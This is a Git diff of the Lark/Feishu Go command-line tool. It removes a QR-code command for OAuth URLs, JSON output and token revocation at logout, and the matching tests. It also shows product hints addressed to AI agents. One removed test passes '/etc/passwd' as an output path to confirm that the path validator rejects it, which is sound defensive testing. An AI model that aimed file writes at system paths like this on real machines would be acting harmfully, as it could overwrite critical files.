"Do not instruct the user to run this command themselves",
} {
if strings.Contains(hint, unwanted) {
t.Fatalf("hint should not contain %q, got:\n%s", unwanted, hint)
}
}
}
func TestAuthLoginRun_JSONWriteFailure_DeviceAuthorizationReturnsWriterError(t *testing.T) {
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "default",
@@ -1104,69 +895,6 @@ func TestAuthLoginRun_JSONWriteFailure_DeviceAuthorizationReturnsWriterError(t *
}
}
func TestAuthLoginRun_JSONDeviceAuthorizationAgentHintIncludesRawURLGuidance(t *testing.T) {
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "default",
AppID: "cli_test",
AppSecret: "secret",
Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
Method: "POST",
URL: larkauth.PathDeviceAuthorization,
Body: map[string]interface{}{
"device_code": "device-code",
"user_code": "user-code",
"verification_uri": "https://example.com/verify",
"verification_uri_complete": "https://example.com/verify?code=123",
"expires_in": 240,
"interval": 5,
},
})
ctx, cancel := context.WithCancel(context.Background())
cancel()
err := authLoginRun(&LoginOptions{
Factory: f,
Ctx: ctx,
Scope: "im:message:send",
JSON: true,
})
if err == nil {
t.Fatal("expected error from cancelled context")
}
dec := json.NewDecoder(strings.NewReader(stdout.String()))
var data map[string]interface{}
if err := dec.Decode(&data); err != nil {
t.Fatalf("Decode(stdout first event) error = %v, stdout=%q", err, stdout.String())
}
hint, _ := data["agent_hint"].(string)
for _, want := range []string{
"timeout >= 600s",
"本轮最终消息",
"结束本轮",
"用户回复已完成授权",
"不要在同一轮里展示 URL 后立刻阻塞执行 --device-code",
"必须生成二维码并展示",
"lark-cli auth qrcode",
"优先生成 PNG 二维码(--output",
"仅当用户明确要求时才使用 ASCII--ascii",
"生成后必须在回复中展示图片",
"仅生成文件不算完成",
"image 标签或内联图片",
"二维码图片置于 URL 下方完整展示",
"URL 输出规则",
"opaque string",
"不要做任何修改",
} {
if !strings.Contains(hint, want) {
t.Fatalf("agent_hint missing %q, got:\n%s", want, hint)
}
}
}
func TestGetDomainMetadata_ExcludesEvent(t *testing.T) {
domains := getDomainMetadata("zh")
for _, dm := range domains {
@@ -1177,7 +905,7 @@ func TestGetDomainMetadata_ExcludesEvent(t *testing.T) {
}
func TestAllKnownDomains_ExcludesAuthDomainChildren(t *testing.T) {
domains := allKnownDomains("")
domains := allKnownDomains()
if domains["whiteboard"] {
t.Error("whiteboard should not appear in known auth domains (it has auth_domain=docs)")
}
@@ -1187,7 +915,7 @@ func TestAllKnownDomains_ExcludesAuthDomainChildren(t *testing.T) {
}
func TestCollectScopesForDomains_ExpandsAuthDomainChildren(t *testing.T) {
scopes := collectScopesForDomains([]string{"docs"}, "user", "")
scopes := collectScopesForDomains([]string{"docs"}, "user")
// docs domain should include whiteboard shortcut scopes (board:whiteboard:*)
found := false
for _, s := range scopes {

View File

@@ -8,7 +8,6 @@ import (
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
@@ -18,7 +17,6 @@ import (
// LogoutOptions holds all inputs for auth logout.
type LogoutOptions struct {
Factory *cmdutil.Factory
JSON bool
}
// NewCmdAuthLogout creates the auth logout subcommand.
@@ -35,8 +33,6 @@ func NewCmdAuthLogout(f *cmdutil.Factory, runF func(*LogoutOptions) error) *cobr
return authLogoutRun(opts)
},
}
cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
cmdutil.SetRisk(cmd, "write")
return cmd
}
@@ -46,64 +42,24 @@ func authLogoutRun(opts *LogoutOptions) error {
multi, _ := core.LoadMultiAppConfig()
if multi == nil || len(multi.Apps) == 0 {
if opts.JSON {
output.PrintJson(f.IOStreams.Out, map[string]interface{}{
"ok": true,
"loggedOut": false,
"reason": "not_configured",
})
return nil
}
fmt.Fprintln(f.IOStreams.ErrOut, "No configuration found.")
return nil
}
app := multi.CurrentAppConfig(f.Invocation.Profile)
if app == nil || len(app.Users) == 0 {
if opts.JSON {
output.PrintJson(f.IOStreams.Out, map[string]interface{}{
"ok": true,
"loggedOut": false,
"reason": "not_logged_in",
})
return nil
}
fmt.Fprintln(f.IOStreams.ErrOut, "Not logged in.")
return nil
}
httpClient, httpErr := f.HttpClient()
appSecret, secretErr := core.ResolveSecretInput(app.AppSecret, f.Keychain)
for _, user := range app.Users {
if httpErr == nil && secretErr == nil {
if token := larkauth.GetStoredToken(app.AppId, user.UserOpenId); token != nil {
revokeToken := token.RefreshToken
tokenTypeHint := "refresh_token"
if revokeToken == "" {
revokeToken = token.AccessToken
tokenTypeHint = "access_token"
}
if revokeToken != "" {
_ = larkauth.RevokeToken(httpClient, app.AppId, appSecret, app.Brand, revokeToken, tokenTypeHint)
}
}
}
if err := larkauth.RemoveStoredToken(app.AppId, user.UserOpenId); err != nil {
fmt.Fprintf(f.IOStreams.ErrOut, "Warning: failed to remove token for %s: %v\n", user.UserOpenId, err)
}
}
app.Users = []core.AppUser{}
if err := core.SaveMultiAppConfig(multi); err != nil {
return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
}
if opts.JSON {
output.PrintJson(f.IOStreams.Out, map[string]interface{}{
"ok": true,
"loggedOut": true,
})
return nil
return output.Errorf(output.ExitInternal, "internal", "failed to save config: %v", err)
}
output.PrintSuccess(f.IOStreams.ErrOut, "Logged out")
return nil

View File

@@ -1,356 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package auth
import (
"encoding/json"
"net/url"
"strings"
"testing"
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/httpmock"
"github.com/zalando/go-keyring"
)
func writeLogoutConfig(t *testing.T, users []core.AppUser) {
t.Helper()
if err := core.SaveMultiAppConfig(&core.MultiAppConfig{
CurrentApp: "test-app",
Apps: []core.AppConfig{
{
AppId: "test-app",
AppSecret: core.PlainSecret("test-secret"),
Brand: core.BrandFeishu,
Users: users,
},
},
}); err != nil {
t.Fatalf("SaveMultiAppConfig() error = %v", err)
}
}
func TestAuthLogoutRun_JSONMode_NotConfigured_WritesStdoutOnly(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
if err := authLogoutRun(&LogoutOptions{Factory: f, JSON: true}); err != nil {
t.Fatalf("authLogoutRun() error = %v", err)
}
var payload map[string]any
if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
}
if payload["ok"] != true {
t.Errorf("stdout.ok = %v, want true", payload["ok"])
}
if payload["loggedOut"] != false {
t.Errorf("stdout.loggedOut = %v, want false", payload["loggedOut"])
}
if payload["reason"] != "not_configured" {
t.Errorf("stdout.reason = %v, want not_configured", payload["reason"])
}
if stderr.Len() != 0 {
t.Errorf("stderr must stay empty in JSON mode, got:\n%s", stderr.String())
}
}
func TestAuthLogoutRun_JSONMode_NotLoggedIn_WritesStdoutOnly(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
writeLogoutConfig(t, nil)
f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
if err := authLogoutRun(&LogoutOptions{Factory: f, JSON: true}); err != nil {
t.Fatalf("authLogoutRun() error = %v", err)
}
var payload map[string]any
if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
}
if payload["ok"] != true {
t.Errorf("stdout.ok = %v, want true", payload["ok"])
}
if payload["loggedOut"] != false {
t.Errorf("stdout.loggedOut = %v, want false", payload["loggedOut"])
}
if payload["reason"] != "not_logged_in" {
t.Errorf("stdout.reason = %v, want not_logged_in", payload["reason"])
}
if stderr.Len() != 0 {
t.Errorf("stderr must stay empty in JSON mode, got:\n%s", stderr.String())
}
}
func TestAuthLogoutRun_JSONMode_Success_WritesStdoutOnly(t *testing.T) {
keyring.MockInit()
t.Setenv("HOME", t.TempDir())
t.Setenv("LARKSUITE_CLI_DATA_DIR", t.TempDir())
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
writeLogoutConfig(t, []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}})
if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
AppId: "test-app",
UserOpenId: "ou_user",
}); err != nil {
t.Fatalf("SetStoredToken() error = %v", err)
}
f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
if err := authLogoutRun(&LogoutOptions{Factory: f, JSON: true}); err != nil {
t.Fatalf("authLogoutRun() error = %v", err)
}
var payload map[string]any
if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
}
if payload["ok"] != true {
t.Errorf("stdout.ok = %v, want true", payload["ok"])
}
if payload["loggedOut"] != true {
t.Errorf("stdout.loggedOut = %v, want true", payload["loggedOut"])
}
if _, hasReason := payload["reason"]; hasReason {
t.Errorf("stdout.reason must be absent on success, got %v", payload["reason"])
}
if stderr.Len() != 0 {
t.Errorf("stderr must stay empty in JSON mode, got:\n%s", stderr.String())
}
}
func TestAuthLogoutRun_DefaultMode_KeepsTextOutput(t *testing.T) {
keyring.MockInit()
t.Setenv("HOME", t.TempDir())
t.Setenv("LARKSUITE_CLI_DATA_DIR", t.TempDir())
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
writeLogoutConfig(t, []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}})
if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
AppId: "test-app",
UserOpenId: "ou_user",
}); err != nil {
t.Fatalf("SetStoredToken() error = %v", err)
}
f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
if err := authLogoutRun(&LogoutOptions{Factory: f}); err != nil {
t.Fatalf("authLogoutRun() error = %v", err)
}
if stdout.Len() != 0 {
t.Errorf("stdout must stay empty in default mode, got:\n%s", stdout.String())
}
if !strings.Contains(stderr.String(), "Logged out") {
t.Errorf("stderr = %q, want success text", stderr.String())
}
}
func TestAuthLogoutRun_RevokesTokenAndClearsLocalState(t *testing.T) {
keyring.MockInit()
setupLoginConfigDir(t)
t.Setenv("HOME", t.TempDir())
multi := &core.MultiAppConfig{
CurrentApp: "default",
Apps: []core.AppConfig{
{
Name: "default",
AppId: "cli_test",
AppSecret: core.PlainSecret("secret"),
Brand: core.BrandFeishu,
Users: []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}},
},
},
}
if err := core.SaveMultiAppConfig(multi); err != nil {
t.Fatalf("SaveMultiAppConfig() error = %v", err)
}
if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
AppId: "cli_test",
UserOpenId: "ou_user",
AccessToken: "user-access-token",
RefreshToken: "user-refresh-token",
}); err != nil {
t.Fatalf("SetStoredToken() error = %v", err)
}
f, _, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "default",
AppID: "cli_test",
AppSecret: "secret",
Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
Method: "POST",
URL: larkauth.PathOAuthRevoke,
Body: map[string]interface{}{"code": 0},
BodyFilter: func(body []byte) bool {
values, err := url.ParseQuery(string(body))
if err != nil {
return false
}
return values.Get("client_id") == "cli_test" &&
values.Get("client_secret") == "secret" &&
values.Get("token") == "user-refresh-token" &&
values.Get("token_type_hint") == "refresh_token"
},
})
if err := authLogoutRun(&LogoutOptions{Factory: f}); err != nil {
t.Fatalf("authLogoutRun() error = %v", err)
}
if got := stderr.String(); !strings.Contains(got, "Logged out") {
t.Fatalf("stderr = %q, want Logged out", got)
}
if got := larkauth.GetStoredToken("cli_test", "ou_user"); got != nil {
t.Fatalf("expected stored token removed, got %#v", got)
}
saved, err := core.LoadMultiAppConfig()
if err != nil {
t.Fatalf("LoadMultiAppConfig() error = %v", err)
}
if len(saved.Apps) != 1 || len(saved.Apps[0].Users) != 0 {
t.Fatalf("expected users cleared, got %#v", saved.Apps)
}
}
func TestAuthLogoutRun_FallsBackToAccessTokenWhenRefreshTokenMissing(t *testing.T) {
keyring.MockInit()
setupLoginConfigDir(t)
t.Setenv("HOME", t.TempDir())
multi := &core.MultiAppConfig{
CurrentApp: "default",
Apps: []core.AppConfig{
{
Name: "default",
AppId: "cli_test",
AppSecret: core.PlainSecret("secret"),
Brand: core.BrandFeishu,
Users: []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}},
},
},
}
if err := core.SaveMultiAppConfig(multi); err != nil {
t.Fatalf("SaveMultiAppConfig() error = %v", err)
}
if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
AppId: "cli_test",
UserOpenId: "ou_user",
AccessToken: "user-access-token",
}); err != nil {
t.Fatalf("SetStoredToken() error = %v", err)
}
f, _, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "default",
AppID: "cli_test",
AppSecret: "secret",
Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
Method: "POST",
URL: larkauth.PathOAuthRevoke,
Body: map[string]interface{}{"code": 0},
BodyFilter: func(body []byte) bool {
values, err := url.ParseQuery(string(body))
if err != nil {
return false
}
return values.Get("client_id") == "cli_test" &&
values.Get("client_secret") == "secret" &&
values.Get("token") == "user-access-token" &&
values.Get("token_type_hint") == "access_token"
},
})
if err := authLogoutRun(&LogoutOptions{Factory: f}); err != nil {
t.Fatalf("authLogoutRun() error = %v", err)
}
if got := stderr.String(); !strings.Contains(got, "Logged out") {
t.Fatalf("stderr = %q, want Logged out", got)
}
if got := larkauth.GetStoredToken("cli_test", "ou_user"); got != nil {
t.Fatalf("expected stored token removed, got %#v", got)
}
saved, err := core.LoadMultiAppConfig()
if err != nil {
t.Fatalf("LoadMultiAppConfig() error = %v", err)
}
if len(saved.Apps) != 1 || len(saved.Apps[0].Users) != 0 {
t.Fatalf("expected users cleared, got %#v", saved.Apps)
}
}
func TestAuthLogoutRun_RevokeFailureStillClearsLocalState(t *testing.T) {
keyring.MockInit()
setupLoginConfigDir(t)
t.Setenv("HOME", t.TempDir())
multi := &core.MultiAppConfig{
CurrentApp: "default",
Apps: []core.AppConfig{
{
Name: "default",
AppId: "cli_test",
AppSecret: core.PlainSecret("secret"),
Brand: core.BrandFeishu,
Users: []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}},
},
},
}
if err := core.SaveMultiAppConfig(multi); err != nil {
t.Fatalf("SaveMultiAppConfig() error = %v", err)
}
if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
AppId: "cli_test",
UserOpenId: "ou_user",
AccessToken: "user-access-token",
RefreshToken: "user-refresh-token",
}); err != nil {
t.Fatalf("SetStoredToken() error = %v", err)
}
f, _, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "default",
AppID: "cli_test",
AppSecret: "secret",
Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
Method: "POST",
URL: larkauth.PathOAuthRevoke,
Status: 500,
Body: map[string]interface{}{"error": "server_error"},
})
if err := authLogoutRun(&LogoutOptions{Factory: f}); err != nil {
t.Fatalf("authLogoutRun() error = %v", err)
}
gotErr := stderr.String()
if strings.Contains(gotErr, "failed to revoke token for ou_user") {
t.Fatalf("stderr = %q, want no revoke warning", gotErr)
}
if !strings.Contains(gotErr, "Logged out") {
t.Fatalf("stderr = %q, want Logged out", gotErr)
}
if got := larkauth.GetStoredToken("cli_test", "ou_user"); got != nil {
t.Fatalf("expected stored token removed, got %#v", got)
}
saved, err := core.LoadMultiAppConfig()
if err != nil {
t.Fatalf("LoadMultiAppConfig() error = %v", err)
}
if len(saved.Apps) != 1 || len(saved.Apps[0].Users) != 0 {
t.Fatalf("expected users cleared, got %#v", saved.Apps)
}
}

View File

@@ -1,142 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package auth
import (
"context"
"encoding/json"
"fmt"
"io"
"os"
"github.com/skip2/go-qrcode"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/validate"
"github.com/larksuite/cli/internal/vfs"
)
// QRCodeOptions holds inputs for auth qrcode command.
type QRCodeOptions struct {
Factory *cmdutil.Factory
Ctx context.Context
URL string
Size int
ASCII bool
Output string
}
// NewCmdAuthQRCode creates the auth qrcode subcommand.
func NewCmdAuthQRCode(f *cmdutil.Factory, runF func(*QRCodeOptions) error) *cobra.Command {
opts := &QRCodeOptions{Factory: f, Size: 256}
cmd := &cobra.Command{
Use: "qrcode <url>",
Short: "Generate QR code for verification URL",
Long: `Generate a QR code image or ASCII representation for a verification URL.
This command is designed for AI agents to generate QR codes for OAuth authorization URLs.
For PNG output, the --output flag is required to specify the output file path (must be a relative path within the current directory).
For ASCII output, the result is printed to stdout with fixed size.`,
Args: cobra.ExactArgs(1),
RunE: func(cmd *cobra.Command, args []string) error {
opts.URL = args[0]
opts.Ctx = cmd.Context()
if runF != nil {
return runF(opts)
}
return runQRCode(opts)
},
}
cmd.Flags().IntVar(&opts.Size, "size", 256, "Size of the QR code image in pixels (default: 256, for PNG mode only)")
cmd.Flags().BoolVar(&opts.ASCII, "ascii", false, "Output ASCII QR code to stdout")
cmd.Flags().StringVarP(&opts.Output, "output", "o", "", "Output file path for PNG image (relative path within current directory, required for non-ASCII mode)")
return cmd
}
// runQRCode executes the auth qrcode command.
func runQRCode(opts *QRCodeOptions) error {
if opts.URL == "" {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "url is required").WithParam("--url")
}
if opts.ASCII {
var out io.Writer = os.Stdout
if opts.Factory != nil {
out = opts.Factory.IOStreams.Out
}
return generateASCIIQRCode(opts.URL, out)
}
if opts.Output == "" {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "output file path is required for PNG mode. Use --output or -o flag to specify the output file path.").WithParam("--output")
}
if opts.Size < 32 {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "size must be at least 32, got %d", opts.Size).WithParam("--size")
}
if opts.Size > 1024 {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "size must be at most 1024, got %d", opts.Size).WithParam("--size")
}
safePath, err := validate.SafeOutputPath(opts.Output)
if err != nil {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "unsafe output path: %s", err).WithParam("--output").WithCause(err)
}
if err := generateImageQRCode(opts.URL, opts.Size, safePath); err != nil {
return err
}
result := map[string]interface{}{
"ok": true,
"file_path": safePath,
"hint": "You MUST include the QR image in your response. Generating the file alone is NOT enough—use image tags, inline images, or file attachments to display it.",
}
var out io.Writer = os.Stdout
if opts.Factory != nil {
out = opts.Factory.IOStreams.Out
}
encoder := json.NewEncoder(out)
encoder.SetEscapeHTML(false)
if err := encoder.Encode(result); err != nil {
return errs.NewInternalError(errs.SubtypeSDKError, "failed to write output: %v", err).WithCause(err)
}
return nil
}
// generateImageQRCode encodes the URL as a PNG QR code and writes it to outputPath.
func generateImageQRCode(url string, size int, outputPath string) error {
png, err := qrcode.Encode(url, qrcode.Medium, size)
if err != nil {
return errs.NewInternalError(errs.SubtypeSDKError, "failed to encode QR code: %v", err).WithCause(err)
}
err = vfs.WriteFile(outputPath, png, 0644)
if err != nil {
return errs.NewInternalError(errs.SubtypeSDKError, "failed to write QR code to %s: %v", outputPath, err).WithCause(err)
}
return nil
}
// generateASCIIQRCode encodes the URL as an ASCII QR code and prints it to stdout.
func generateASCIIQRCode(url string, w io.Writer) error {
q, err := qrcode.New(url, qrcode.Medium)
if err != nil {
return errs.NewInternalError(errs.SubtypeSDKError, "failed to create QR code: %v", err).WithCause(err)
}
fmt.Fprint(w, q.ToSmallString(false))
return nil
}

View File

@@ -1,324 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package auth
import (
"encoding/json"
"io"
"os"
"path/filepath"
"strings"
"testing"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
func TestNewCmdAuthQRCode_FlagParsing(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *QRCodeOptions
cmd := NewCmdAuthQRCode(f, func(opts *QRCodeOptions) error {
gotOpts = opts
return nil
})
cmd.SetArgs([]string{"https://example.com", "--output", "qr.png", "--size", "128"})
if err := cmd.Execute(); err != nil {
t.Fatalf("unexpected error: %v", err)
}
if gotOpts.URL != "https://example.com" {
t.Errorf("URL = %q, want %q", gotOpts.URL, "https://example.com")
}
if gotOpts.Size != 128 {
t.Errorf("Size = %d, want %d", gotOpts.Size, 128)
}
if gotOpts.Output != "qr.png" {
t.Errorf("Output = %q, want %q", gotOpts.Output, "qr.png")
}
if gotOpts.ASCII {
t.Error("ASCII should be false by default")
}
}
func TestNewCmdAuthQRCode_ASCIIFlag(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *QRCodeOptions
cmd := NewCmdAuthQRCode(f, func(opts *QRCodeOptions) error {
gotOpts = opts
return nil
})
cmd.SetArgs([]string{"https://example.com", "--ascii"})
if err := cmd.Execute(); err != nil {
t.Fatalf("unexpected error: %v", err)
}
if !gotOpts.ASCII {
t.Error("ASCII should be true when --ascii is passed")
}
}
func TestNewCmdAuthQRCode_DefaultSize(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
var gotOpts *QRCodeOptions
cmd := NewCmdAuthQRCode(f, func(opts *QRCodeOptions) error {
gotOpts = opts
return nil
})
cmd.SetArgs([]string{"https://example.com", "--ascii"})
if err := cmd.Execute(); err != nil {
t.Fatalf("unexpected error: %v", err)
}
if gotOpts.Size != 256 {
t.Errorf("default Size = %d, want 256", gotOpts.Size)
}
}
func TestNewCmdAuthQRCode_ExactOneArg(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
cmd := NewCmdAuthQRCode(f, nil)
cmd.SetErr(io.Discard)
cmd.SetArgs([]string{})
if err := cmd.Execute(); err == nil {
t.Fatal("expected error when no URL argument provided")
}
}
func TestNewCmdAuthQRCode_RunE_PNGEndToEnd(t *testing.T) {
f, stdout, _, _ := cmdutil.TestFactory(t, nil)
tmpDir := t.TempDir()
oldWd, _ := os.Getwd()
if err := os.Chdir(tmpDir); err != nil {
t.Fatalf("chdir: %v", err)
}
t.Cleanup(func() { os.Chdir(oldWd) })
cmd := NewCmdAuthQRCode(f, nil)
cmd.SetArgs([]string{"https://example.com", "--output", "qr.png"})
if err := cmd.Execute(); err != nil {
t.Fatalf("unexpected error: %v", err)
}
data, err := os.ReadFile("qr.png")
if err != nil {
t.Fatalf("output file not created: %v", err)
}
if string(data[:4]) != "\x89PNG" {
t.Errorf("output does not start with PNG magic bytes, got %x", data[:4])
}
var result map[string]interface{}
if err := json.Unmarshal(stdout.Bytes(), &result); err != nil {
t.Fatalf("stdout is not valid JSON: %v, got: %s", err, stdout.String())
}
if result["ok"] != true {
t.Errorf("ok = %v, want true", result["ok"])
}
hint, _ := result["hint"].(string)
if hint == "" {
t.Error("hint is empty")
}
if !strings.Contains(hint, "MUST include") {
t.Errorf("hint missing 'MUST include', got: %s", hint)
}
if !strings.Contains(hint, "NOT enough") {
t.Errorf("hint missing 'NOT enough', got: %s", hint)
}
}
func TestNewCmdAuthQRCode_RunE_MissingOutput(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
cmd := NewCmdAuthQRCode(f, nil)
cmd.SetErr(io.Discard)
cmd.SetArgs([]string{"https://example.com"})
if err := cmd.Execute(); err == nil {
t.Fatal("expected error when --output is missing in PNG mode")
}
}
func TestNewCmdAuthQRCode_HelpText(t *testing.T) {
f, stdout, _, _ := cmdutil.TestFactory(t, nil)
cmd := NewCmdAuthQRCode(f, nil)
cmd.SetOut(stdout)
cmd.SetErr(io.Discard)
cmd.SetArgs([]string{"--help"})
if err := cmd.Execute(); err != nil {
t.Fatalf("unexpected error: %v", err)
}
got := stdout.String()
for _, want := range []string{
"qrcode <url>",
"QR code",
"--output",
"--ascii",
"relative path",
} {
if !strings.Contains(got, want) {
t.Errorf("help missing %q", want)
}
}
}
func TestRunQRCode_MissingURL(t *testing.T) {
err := runQRCode(&QRCodeOptions{URL: ""})
if gotCode := output.ExitCodeOf(err); gotCode != output.ExitValidation {
t.Errorf("exit code = %d, want %d", gotCode, output.ExitValidation)
}
}
func TestRunQRCode_MissingOutput(t *testing.T) {
err := runQRCode(&QRCodeOptions{URL: "https://example.com", Size: 256})
if gotCode := output.ExitCodeOf(err); gotCode != output.ExitValidation {
t.Errorf("exit code = %d, want %d", gotCode, output.ExitValidation)
}
}
func TestRunQRCode_InvalidSize(t *testing.T) {
err := runQRCode(&QRCodeOptions{
URL: "https://example.com",
Size: 16,
Output: "qr.png",
})
if gotCode := output.ExitCodeOf(err); gotCode != output.ExitValidation {
t.Errorf("exit code = %d, want %d", gotCode, output.ExitValidation)
}
}
func TestRunQRCode_SizeTooLarge(t *testing.T) {
err := runQRCode(&QRCodeOptions{
URL: "https://example.com",
Size: 2048,
Output: "qr.png",
})
if gotCode := output.ExitCodeOf(err); gotCode != output.ExitValidation {
t.Errorf("exit code = %d, want %d", gotCode, output.ExitValidation)
}
}
func TestRunQRCode_UnsafeOutputPath(t *testing.T) {
err := runQRCode(&QRCodeOptions{
URL: "https://example.com",
Size: 256,
Output: "/etc/passwd",
})
if gotCode := output.ExitCodeOf(err); gotCode != output.ExitValidation {
t.Errorf("exit code = %d, want %d", gotCode, output.ExitValidation)
}
}
func TestRunQRCode_PNGWritesFile(t *testing.T) {
f, stdout, _, _ := cmdutil.TestFactory(t, nil)
tmpDir := t.TempDir()
oldWd, _ := os.Getwd()
if err := os.Chdir(tmpDir); err != nil {
t.Fatalf("chdir: %v", err)
}
t.Cleanup(func() { os.Chdir(oldWd) })
err := runQRCode(&QRCodeOptions{
URL: "https://example.com",
Size: 256,
Output: "qr.png",
Factory: f,
})
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
info, err := os.Stat("qr.png")
if err != nil {
t.Fatalf("output file not created: %v", err)
}
if info.Size() == 0 {
t.Error("output file is empty")
}
var result map[string]interface{}
if jsonErr := json.Unmarshal(stdout.Bytes(), &result); jsonErr != nil {
t.Fatalf("stdout is not valid JSON: %v, got: %s", jsonErr, stdout.String())
}
if result["ok"] != true {
t.Errorf("ok = %v, want true", result["ok"])
}
}
func TestRunQRCode_ASCIIOutputsToStdout(t *testing.T) {
f, stdout, _, _ := cmdutil.TestFactory(t, nil)
err := runQRCode(&QRCodeOptions{
URL: "https://example.com",
ASCII: true,
Factory: f,
})
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if stdout.Len() == 0 {
t.Error("ASCII QR code produced no output")
}
}
func TestGenerateImageQRCode_Success(t *testing.T) {
tmpDir := t.TempDir()
outputPath := filepath.Join(tmpDir, "test-qr.png")
if err := generateImageQRCode("https://example.com", 256, outputPath); err != nil {
t.Fatalf("unexpected error: %v", err)
}
data, err := os.ReadFile(outputPath)
if err != nil {
t.Fatalf("failed to read output file: %v", err)
}
if len(data) == 0 {
t.Error("output file is empty")
}
if len(data) < 8 {
t.Error("output too small to be a valid PNG")
}
if string(data[:4]) != "\x89PNG" {
t.Errorf("output does not start with PNG magic bytes, got %x", data[:4])
}
}
func TestGenerateImageQRCode_WriteError(t *testing.T) {
err := generateImageQRCode("https://example.com", 256, "/nonexistent/deep/nested/dir/qr.png")
if err == nil {
t.Fatal("expected error writing to nonexistent directory")
}
if gotCode := output.ExitCodeOf(err); gotCode != output.ExitInternal {
t.Errorf("exit code = %d, want %d", gotCode, output.ExitInternal)
}
}
func TestGenerateASCIIQRCode_Success(t *testing.T) {
var buf strings.Builder
err := generateASCIIQRCode("https://example.com", &buf)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if buf.Len() == 0 {
t.Error("ASCII QR code produced no output")
}
}
func TestGenerateASCIIQRCode_EmptyString(t *testing.T) {
var buf strings.Builder
err := generateASCIIQRCode("", &buf)
if err == nil {
t.Fatal("expected error for empty string")
}
if err == nil {
t.Fatal("expected error, got nil")
}
}

View File

@@ -9,7 +9,6 @@ import (
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/output"
)
@@ -19,7 +18,6 @@ type ScopesOptions struct {
Factory *cmdutil.Factory
Ctx context.Context
Format string
JSON bool
}
// NewCmdAuthScopes creates the auth scopes subcommand.
@@ -31,9 +29,6 @@ func NewCmdAuthScopes(f *cmdutil.Factory, runF func(*ScopesOptions) error) *cobr
Short: "Query scopes enabled for the app",
RunE: func(cmd *cobra.Command, args []string) error {
opts.Ctx = cmd.Context()
if opts.JSON {
opts.Format = "json"
}
if runF != nil {
return runF(opts)
}
@@ -42,8 +37,6 @@ func NewCmdAuthScopes(f *cmdutil.Factory, runF func(*ScopesOptions) error) *cobr
}
cmd.Flags().StringVar(&opts.Format, "format", "json", "output format: json (default) | pretty")
cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
cmdutil.SetRisk(cmd, "read")
return cmd
}
@@ -56,23 +49,11 @@ func authScopesRun(opts *ScopesOptions) error {
return err
}
fmt.Fprintf(f.IOStreams.ErrOut, "Querying app scopes...\n\n")
